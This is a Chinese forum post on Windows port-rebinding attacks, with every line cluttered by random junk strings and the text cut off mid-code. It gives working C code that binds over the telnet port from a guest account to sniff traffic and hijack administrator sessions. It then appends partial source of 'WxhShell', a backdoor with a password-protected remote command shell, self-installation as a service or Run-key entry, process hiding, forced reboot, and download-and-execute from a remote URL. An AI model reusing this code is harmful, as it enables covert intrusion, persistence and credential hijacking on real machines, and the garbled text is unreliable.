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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SgQmR#5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~yN>9f U  
eY Rd#w  
  saddr.sin_family = AF_INET; Zu#^a|PE*  
vKoQ!7g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?a+J4Zr3  
'GW~~UhdW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _Hq)@A I   
q\P{h ij  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7KC2%s#7  
CiU^U|~'L  
  这意味着什么?意味着可以进行如下的攻击: (Z@- e^R  
4%v-)HGh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %[*_-%  
e#6H[t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NB3+kf,  
 [Ketg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C.=%8|Zy  
}rVLWt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C]ho7qC  
l}S96B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sFk{Tv@Yz  
"OP$n-*@%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uG.`  
@B+8' b$9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |&S^L}V.C  
h{]0 H'g  
  #include =*(_sW6;  
  #include Xhyc2DKa_  
  #include e'|P^G>g  
  #include    FzsW^u+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +A 6kw%"  
  int main() "5,Cy3  
  { , Z1 &MuV  
  WORD wVersionRequested; 0a?[@ -Sz  
  DWORD ret; IH=%%AS  
  WSADATA wsaData; vO zUAi  
  BOOL val; g$=']A?W_  
  SOCKADDR_IN saddr; >r:z`^p  
  SOCKADDR_IN scaddr; 4[r:DM|8  
  int err; nm|"9|/  
  SOCKET s; IQ#Kod;)  
  SOCKET sc; s?sr0HZ  
  int caddsize; .Pe^u%J6F  
  HANDLE mt; ,mp^t2  
  DWORD tid;   U z)G Y  
  wVersionRequested = MAKEWORD( 2, 2 ); 0rDQJCm  
  err = WSAStartup( wVersionRequested, &wsaData ); <aMihT)dd  
  if ( err != 0 ) {  #s=\  
  printf("error!WSAStartup failed!\n"); wXeJjE%j:3  
  return -1; =6'D/| 3  
  } Hg]iZ,8?  
  saddr.sin_family = AF_INET; %E":Wv  
   wuqB['3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d m83YCdL  
jA3Ir;a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <UwA5X`0e.  
  saddr.sin_port = htons(23); *q1sM#;5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :$^sI"hO  
  { >va9*pdJ  
  printf("error!socket failed!\n"); }N3Ur~X\  
  return -1; _rUsb4r  
  } \$8p8MP<&D  
  val = TRUE; "X1{*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /h!iLun7I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a^L'-(  
  { FbPoyh  
  printf("error!setsockopt failed!\n"); 5)K?:7  
  return -1; ]\=M$:,RZ  
  } 8{.:$T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B&lF! ]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }PzYt~Z`@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m,]h7xx  
J {#C<C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V/DdV}n!  
  { `ucr;P  
  ret=GetLastError(); `{@?O%UB  
  printf("error!bind failed!\n"); <Y#EiC.  
  return -1; A.S:eQvS%  
  } q1M16qv5  
  listen(s,2); }15ooe%  
  while(1) 0'y3iar  
  { gl6*bB=  
  caddsize = sizeof(scaddr); Y4/ !b  
  //接受连接请求 ?37Kc,o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <+7-^o _  
  if(sc!=INVALID_SOCKET) !7kca#,X  
  {  N5GQ2V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qg-?Z,EB  
  if(mt==NULL) Xn8r3Nb$A  
  { y$pT5X G  
  printf("Thread Creat Failed!\n"); (AgM7H0  
  break; gcs8Gl2  
  } D\G P+Ota  
  } !bD`2m[Q  
  CloseHandle(mt); ^,Y#_$oR  
  } @GR|co  
  closesocket(s); $zV[- d  
  WSACleanup(); & AlX).  
  return 0; a@WSIcX*W  
  }   c_bIadE{  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0~N2MoOl^  
  { `_&7-;)i*\  
  SOCKET ss = (SOCKET)lpParam; O!\\m0\ e  
  SOCKET sc; {-Y% wM8<i  
  unsigned char buf[4096]; 1=%\4\  
  SOCKADDR_IN saddr; mH} 1Zy  
  long num; A ptzBs/  
  DWORD val; e?~6HP^%.  
  DWORD ret; z+B"RV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <P1sK/IZb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i;B)@op.#  
  saddr.sin_family = AF_INET; s5ddGiZnBT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); . B9rG~  
  saddr.sin_port = htons(23); wrW768WR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j"8|U E  
  { t.oP]_mI  
  printf("error!socket failed!\n"); p2~MJ LK4  
  return -1; w;Na9tR  
  } p} }=li>  
  val = 100; 6<<ihm+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :Yqi5CR  
  { A#j'JA>_  
  ret = GetLastError(); ff9D{$V5  
  return -1; 'PrrP3lO_~  
  } LHz-/0 [  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HGpj(U:`c  
  { "(rG5z3P  
  ret = GetLastError(); NrdbXPHceN  
  return -1; <ibEo98  
  } L?e N(L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %<w)#eV?  
  { m[FH>  
  printf("error!socket connect failed!\n"); Cuq=>J  
  closesocket(sc); EBN'u&zX  
  closesocket(ss); @9^ozgg  
  return -1; ~vIQ-|8r:  
  } ^SKuX?f\  
  while(1) >;.'$-  
  { (r?41?5K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LHb(T` .=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^H1B 62_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fWywegh  
  num = recv(ss,buf,4096,0); }?=$?3W  
  if(num>0) .* xaI+:  
  send(sc,buf,num,0); wh@;$s"B  
  else if(num==0) Ul@yXtj  
  break; BVX6  
  num = recv(sc,buf,4096,0); &i,xod6$  
  if(num>0) gzthM8A  
  send(ss,buf,num,0); ?HBNd&gZ1G  
  else if(num==0) 0;j)rmt  
  break; ~P85Or  
  } s1xl*lKX%  
  closesocket(ss); !giL~}j(R  
  closesocket(sc); WBgS9qiB  
  return 0 ; _Jc[`2Uv_c  
  } O$ 7R<V  
[;/ydE=  
ShdE!q7  
========================================================== ;{79d8/=  
i[_WO2  
下边附上一个代码,,WXhSHELL C$~2FTx  
Gvk)H$ni  
========================================================== QQUYWC  
/[iqga=  
#include "stdafx.h" Quy&CV{@  
lU0'5!3R,  
#include <stdio.h> +wU9d8W  
#include <string.h> RHdcRojF  
#include <windows.h> |?=K'[ 5  
#include <winsock2.h> lr:rQw9  
#include <winsvc.h> WKib$(%f6  
#include <urlmon.h> @Q;%hb  
9@LL_r`?<  
#pragma comment (lib, "Ws2_32.lib") zU;%s<(p  
#pragma comment (lib, "urlmon.lib") %- W3F5NK  
>TT4;ph  
#define MAX_USER   100 // 最大客户端连接数 x t7ZrT  
#define BUF_SOCK   200 // sock buffer `<1o}r 7i  
#define KEY_BUFF   255 // 输入 buffer |UN0jR  
}j^asuf~c  
#define REBOOT     0   // 重启 ?CgqHmf\\(  
#define SHUTDOWN   1   // 关机 '`#sOH  
x78`dX  
#define DEF_PORT   5000 // 监听端口 *UVo>;  
"NY[&S  
#define REG_LEN     16   // 注册表键长度 EIqe|a+  
#define SVC_LEN     80   // NT服务名长度 u:Fa1 !4JR  
E)l0`83~^  
// 从dll定义API iYi3x_A`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 88]V6Rm9[*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nm)H\i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8X,dVX5LT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1&JPyW  
u]K&H&AxT  
// wxhshell配置信息 4NaL#3  
struct WSCFG { E-Nc|A  
  int ws_port;         // 监听端口 Cku#[?G  
  char ws_passstr[REG_LEN]; // 口令 {k4)f ad\  
  int ws_autoins;       // 安装标记, 1=yes 0=no fk5xIW  
  char ws_regname[REG_LEN]; // 注册表键名 1 PL2[_2:  
  char ws_svcname[REG_LEN]; // 服务名 04`2MNfxG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \':'8:E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZS*PY,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R_IUuz$e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,@mr})s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c]SXcA;Pmv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z>rl7&[@  
v]UT1d=_T  
}; *E*= ;BG  
'aYUF&GG  
// default Wxhshell configuration _Mi`]VSq9  
struct WSCFG wscfg={DEF_PORT, ]}t6V]`Q  
    "xuhuanlingzhe", J:<mq5[  
    1, .E H&GX  
    "Wxhshell", 3 q1LIM  
    "Wxhshell", l`S2bb6uMR  
            "WxhShell Service", #aX+?z\4  
    "Wrsky Windows CmdShell Service", )k)HQcfjD  
    "Please Input Your Password: ", }H^h ~E  
  1, h0m+u}oP_H  
  "http://www.wrsky.com/wxhshell.exe", (_h=|VjK(I  
  "Wxhshell.exe" 5bKBVkJ'  
    }; U($bR|%D  
LH7m >/LJr  
// 消息定义模块 gD}lDK6N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; . V5Pr}"y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <'n'>@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )ry7a .39b  
char *msg_ws_ext="\n\rExit."; +ZFw3KEkz  
char *msg_ws_end="\n\rQuit."; #m x4pf{  
char *msg_ws_boot="\n\rReboot..."; }q<p;4<\F  
char *msg_ws_poff="\n\rShutdown..."; 0&M~lJ  
char *msg_ws_down="\n\rSave to "; MI^@p`s  
tB S+?N  
char *msg_ws_err="\n\rErr!"; BlwAD  
char *msg_ws_ok="\n\rOK!"; Q=YIAGK  
* 0vq+C  
char ExeFile[MAX_PATH]; H( L.k;B  
int nUser = 0; ?4k/V6n@y  
HANDLE handles[MAX_USER]; /\L-y,>X  
int OsIsNt; f4%Z~3P  
;Gc,-BDFw  
SERVICE_STATUS       serviceStatus; /g/]Q^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |/^ KFY"  
S2y_5XJ<D  
// 函数声明 ltQo_k  
int Install(void); i}u,_ }  
int Uninstall(void); (AYzN3 ?D  
int DownloadFile(char *sURL, SOCKET wsh); #)}K,FDd  
int Boot(int flag); 7:[u.cd  
void HideProc(void); / thFs4  
int GetOsVer(void); 1SAO6Wh  
int Wxhshell(SOCKET wsl); C{{RU7iqc&  
void TalkWithClient(void *cs); EM2=g9y  
int CmdShell(SOCKET sock); #VM+.75o1  
int StartFromService(void); qQ&=Z` p!  
int StartWxhshell(LPSTR lpCmdLine); ]>v C.iYp  
`!,"">5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %#go9H(K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _HMQx_e0YM  
FIMM\W  
// 数据结构和表定义 +56N}MAs  
SERVICE_TABLE_ENTRY DispatchTable[] = -!@]z2uU  
{ ;$nCQ/ /  
{wscfg.ws_svcname, NTServiceMain}, ()'yY^   
{NULL, NULL} .1{:Q1"S  
}; NL^;C3u  
kAV4V;ydh  
// 自我安装 ~,^pya  
int Install(void) #%9t-  
{ hwx1fpo4  
  char svExeFile[MAX_PATH]; SEKR`2Zz,  
  HKEY key; 2ezk<R5q+  
  strcpy(svExeFile,ExeFile); nYsB^Nr6  
^;8dl.;  
// 如果是win9x系统,修改注册表设为自启动 et`1#_o  
if(!OsIsNt) { HNUpgNi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i'cGB5-j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]EN+^i1F[  
  RegCloseKey(key); "]SA4Ud^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rF^H\U:w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2v$\mL  
  RegCloseKey(key); r+Pfq[z&  
  return 0; q1^bH 6*fl  
    } ,kQCCn]  
  } 2y"L&3W  
} m~I@ q [  
else { p=XEMVqm  
(X?HuWTm  
// 如果是NT以上系统,安装为系统服务 po! [Nd&"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u Vth&4dh9  
if (schSCManager!=0) QbJE+m5  
{ >sm~te$5  
  SC_HANDLE schService = CreateService R+*-i+]Q#7  
  ( g+j\wvx0  
  schSCManager, S4S}go*G[  
  wscfg.ws_svcname, r@t \a+  
  wscfg.ws_svcdisp, >rhqhmh;W"  
  SERVICE_ALL_ACCESS, 9]L4`.HM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \? n<UsI  
  SERVICE_AUTO_START, u5.zckV  
  SERVICE_ERROR_NORMAL, Leu6kPk  
  svExeFile, $RA+StF!]  
  NULL, SpO%nZ";g8  
  NULL, h wi!C}  
  NULL, Gh5 3 Pne  
  NULL, ]."t  
  NULL x'v-]C(@  
  ); 2!)|B ;y  
  if (schService!=0) g#iRkz%l)&  
  { Vl^p3f[  
  CloseServiceHandle(schService); 3^Q;On|  
  CloseServiceHandle(schSCManager);  l( WF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6fm oI K{  
  strcat(svExeFile,wscfg.ws_svcname); w-"tA`F4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F05]6NVv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0 wjL=]X1e  
  RegCloseKey(key); eemC;JV%  
  return 0; mIe 5{.m#  
    } F2>W{-H+  
  } .~a.mT  
  CloseServiceHandle(schSCManager); kp-`_sDg  
} g_3Ozy  
} 84_Y+_9  
*kt|CXxAS8  
return 1; ;uho.)%N`F  
} wii.0~p  
yJ:rry  
// 自我卸载 F Jp<J  
int Uninstall(void) HPY;U N  
{ yRivf.wH  
  HKEY key; ~}_S]^br  
Sa-" G`  
if(!OsIsNt) { 6T5\zInd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #z61 I"kU  
  RegDeleteValue(key,wscfg.ws_regname); 2U`!0~pod  
  RegCloseKey(key); ^v&"{2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nh01NY;  
  RegDeleteValue(key,wscfg.ws_regname); rA|&G'  
  RegCloseKey(key); 58t_j54  
  return 0; ,`8:@<e  
  } $WiU oS  
} ^KJi |'B  
} A6 I^`0/  
else { +V9(4la  
zWrynJ}s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L0R$T=~%)  
if (schSCManager!=0) %KPQ|^WE  
{ ]*X z~Ox2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #h#_xh'  
  if (schService!=0) bt"5.nm  
  { Jsa;pG=3&  
  if(DeleteService(schService)!=0) { Byh!Snoe  
  CloseServiceHandle(schService); 5`6U:MDq  
  CloseServiceHandle(schSCManager); gL &)l!2Y  
  return 0; b%h.>ij?  
  } B2:GGZ|jS  
  CloseServiceHandle(schService); q26 qY5D  
  } GBTwQYF  
  CloseServiceHandle(schSCManager); 9aYVbq""  
} k/M{2Po+  
} !TN)6e7`  
,ZZ5A;)  
return 1; h05BZrE  
} YB_fy8Tfx  
B@ >t$jK  
// 从指定url下载文件 On(.(7sNc  
int DownloadFile(char *sURL, SOCKET wsh) yb-4[C:i  
{ v=daafO  
  HRESULT hr; y:Agmr,S  
char seps[]= "/"; Ih[k{p  
char *token; ltv ~Kh  
char *file; ctPT=i60  
char myURL[MAX_PATH]; 4WPco"xH!  
char myFILE[MAX_PATH]; FzF#V=9lP  
%v0;1m  
strcpy(myURL,sURL); w3;T]R*  
  token=strtok(myURL,seps); |+Xh ^E  
  while(token!=NULL) !/]z-z2>  
  { y"iK)SH  
    file=token; 94?/Rhs5  
  token=strtok(NULL,seps); h(i_'P?  
  } 8g?2( MT;  
Y}h&dAr  
GetCurrentDirectory(MAX_PATH,myFILE); 39x 4(  
strcat(myFILE, "\\"); a :CeI  
strcat(myFILE, file); OX}ZdM!&f  
  send(wsh,myFILE,strlen(myFILE),0); V"T5<HA9  
send(wsh,"...",3,0); w6ck wn,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4 g8t  
  if(hr==S_OK) 8\+XtS  
return 0; #dFE}!"#`  
else yQq|!'MKk  
return 1; qykI[4  
[;#^h/5E  
} xs?]DJj  
)h,}v()qc#  
// 系统电源模块 g(R!M0hdF  
int Boot(int flag) 'X~CrgQl  
{ 6&btAwvOHx  
  HANDLE hToken; >}r 1A  
  TOKEN_PRIVILEGES tkp; ;+n25_9  
S-79uo  
  if(OsIsNt) { (\4YBaGd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \*#E4`Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]{AHKyA{:  
    tkp.PrivilegeCount = 1; {~V_6wY g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X=VaBy4#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4rypT-%^;  
if(flag==REBOOT) { GXR7Ug}k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jF{)2|5  
  return 0; U8eU[|-8O/  
} 'EB5#  
else { ,]4.|A_[Rq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [bEm D  
  return 0; D7C%Y^K]>E  
} 7H. HiyppW  
  } 6W'2w?qj?4  
  else { CWkAc5  
if(flag==REBOOT) { ze uSk| O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h[]3#  
  return 0; uvA2`%T/  
} $KmE9Se6,  
else { !^3j9<|@'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u73/#!(1=H  
  return 0; V6b)  
} Yt;@ @xe&  
} 2vW@d[<J  
wQU-r|  
return 1; r]%.,i7~8  
} 30h1)nQ$h}  
R[2h!.O8  
// win9x进程隐藏模块 `4"&_ltD  
void HideProc(void) 9-?kamA  
{ y9Q"3LLic`  
Rp.FG   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :LB< z#M  
  if ( hKernel != NULL ) @_?8I_\:  
  { cKAZWON8;v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j*jq2u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u_S>`I  
    FreeLibrary(hKernel); <PQ[N[SU  
  } \JGRd8S[  
p+R8Mo;I  
return; <$`ud P@  
} pl.=u0 *  
<~Tfi*^+  
// 获取操作系统版本 7@i2Mz/eV  
int GetOsVer(void) [oS.B\Vc  
{ JmVha!<qk  
  OSVERSIONINFO winfo; ;%PdSG=U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ] I0(_e|z}  
  GetVersionEx(&winfo); +isaqfy/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]TKM.[[  
  return 1; k N$L8U8f  
  else ,lw<dB@7"5  
  return 0; o #F03  
} /J'dG%  
A\<WnG>xjP  
// 客户端句柄模块 *!+?%e{;b  
int Wxhshell(SOCKET wsl) 0}aw9g  
{ +luW=j0V  
  SOCKET wsh; 5$f*fMd;  
  struct sockaddr_in client; ^ P=CoLFa  
  DWORD myID; HUY1nb=  
z/7"!  
  while(nUser<MAX_USER) L QP4#7  
{ [es-&X07<  
  int nSize=sizeof(client); 0)3*E)g{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !yX4#J(  
  if(wsh==INVALID_SOCKET) return 1; pmi`Er  
mH09* Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %D}]Z=gp  
if(handles[nUser]==0) g,cl|]/\d  
  closesocket(wsh); h3:dO|Z  
else !P b39[f  
  nUser++; 'D;'Pr]  
  } dKTUW<C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p uLQ_MNV  
=9vmRh? 8  
  return 0; ~0@+8%^>;  
} T1r^.;I:  
Fh$Xcz~i  
// 关闭 socket ^!>o5Y)  
void CloseIt(SOCKET wsh) kT6EHuB  
{ })}-K7v1+  
closesocket(wsh); WD5ulm?91|  
nUser--; TJp0^&Q  
ExitThread(0); !U !}*clYL  
} *S4*FH;8  
{pNf& '  
// 客户端请求句柄 9}6^5f?|  
void TalkWithClient(void *cs) =24<d!R  
{ yasKU6^R'  
gT6@0ANq  
  SOCKET wsh=(SOCKET)cs; .EUOKPK4W  
  char pwd[SVC_LEN]; YG6Kvc6T  
  char cmd[KEY_BUFF]; (eAh8^)  
char chr[1]; UZ+FV;<  
int i,j; {CR'Z0  
#0j,1NpL  
  while (nUser < MAX_USER) { hkL[hD  
$?u ^hMU=  
if(wscfg.ws_passstr) { i bwnK?ZA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ka\%kB>*`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SggS8$a`  
  //ZeroMemory(pwd,KEY_BUFF); @rVBL<!o,  
      i=0; `&yUU2W  
  while(i<SVC_LEN) { OVm $  
pJE317 p'  
  // 设置超时 U ]6 Hml;l  
  fd_set FdRead; pB;p\9A*q  
  struct timeval TimeOut; jE{2rw$ZJ?  
  FD_ZERO(&FdRead); l`R/WC  
  FD_SET(wsh,&FdRead); K-nf@o+  
  TimeOut.tv_sec=8; hOSkxdi*^  
  TimeOut.tv_usec=0; (9J,Qs[;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #ab=]}2W_g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Mb(aI!;A  
N5=; PZub  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -3<5,Q{G+  
  pwd=chr[0]; =/rIXReY  
  if(chr[0]==0xd || chr[0]==0xa) { w(9.{zF|vQ  
  pwd=0; eOQUy +  
  break; j5:{H4?  
  } XK>/i}y  
  i++; YFCP'J"Z  
    } +)fl9>Mb  
!:mo2zA  
  // 如果是非法用户,关闭 socket ` `A=p<W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rs R0V+(W  
} !s]LWCX+|  
QMfa~TH#p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [S/]Vk|4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r^k:$wJbRK  
5Qik{cWxBq  
while(1) { 6 /Apdn1[  
rnVh ]xJ  
  ZeroMemory(cmd,KEY_BUFF); h*Y);mc$#  
TK;*:K8oe  
      // 自动支持客户端 telnet标准   T }X#I'Z  
  j=0; +M6qbIO  
  while(j<KEY_BUFF) { 8eSIY17  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Ki ],>_~  
  cmd[j]=chr[0]; u9FXZK7  
  if(chr[0]==0xa || chr[0]==0xd) { qF(F<$B  
  cmd[j]=0; )BY\c7SG  
  break; J..>ApX  
  } 1TKOvy_  
  j++; RTNUHz;{L  
    } sSi1;9^o  
MX?K3=j @>  
  // 下载文件 "}]1OL SV  
  if(strstr(cmd,"http://")) { pCNihZ~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M ,8r{[2  
  if(DownloadFile(cmd,wsh)) ":*PC[)W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;jTP|q?|{  
  else hp}J_/+4n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @U%I 6 t  
  } ~n84x  
  else { 0EYK3<k9!  
S ; x;FU  
    switch(cmd[0]) { dm&F1NkT  
  9LGJ-gL  
  // 帮助 Wr7^  
  case '?': { a'ViyTBo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F t%f"Z  
    break; K^k1]!W=  
  } h@T}WZv  
  // 安装 7{ :| )  
  case 'i': { l'(Cxhf.W  
    if(Install()) {b>tX)Tep  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Te~"\`omJ3  
    else a $g4 )0eS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d(w $! $"h  
    break; u7&r'rZ1_!  
    } U6 "U^  
  // 卸载 <$n%h/2%  
  case 'r': { WJZW5 Xt  
    if(Uninstall()) SM5i3EcFYP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UcDJ%vI  
    else [K[tL|EK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _`L,}=um'  
    break; ?^us(o7-  
    } bv>;%TF  
  // 显示 wxhshell 所在路径 Ix%h /=I  
  case 'p': { LKG],1n-  
    char svExeFile[MAX_PATH]; Rs:<'A  
    strcpy(svExeFile,"\n\r"); G.O0*E2V  
      strcat(svExeFile,ExeFile); 0,(U_+ n  
        send(wsh,svExeFile,strlen(svExeFile),0); -Xkdu?6Eh  
    break; ,*r"cmz  
    } tq?lF$mM:  
  // 重启 BSG_),AH  
  case 'b': { \0Zm3[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /g712\?M4  
    if(Boot(REBOOT)) rSB"0 W7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ywt_h;:  
    else { 8UoMOeI3  
    closesocket(wsh); cn=~}T@~Z  
    ExitThread(0); l2=.;7 IV  
    } =A<kDxqH  
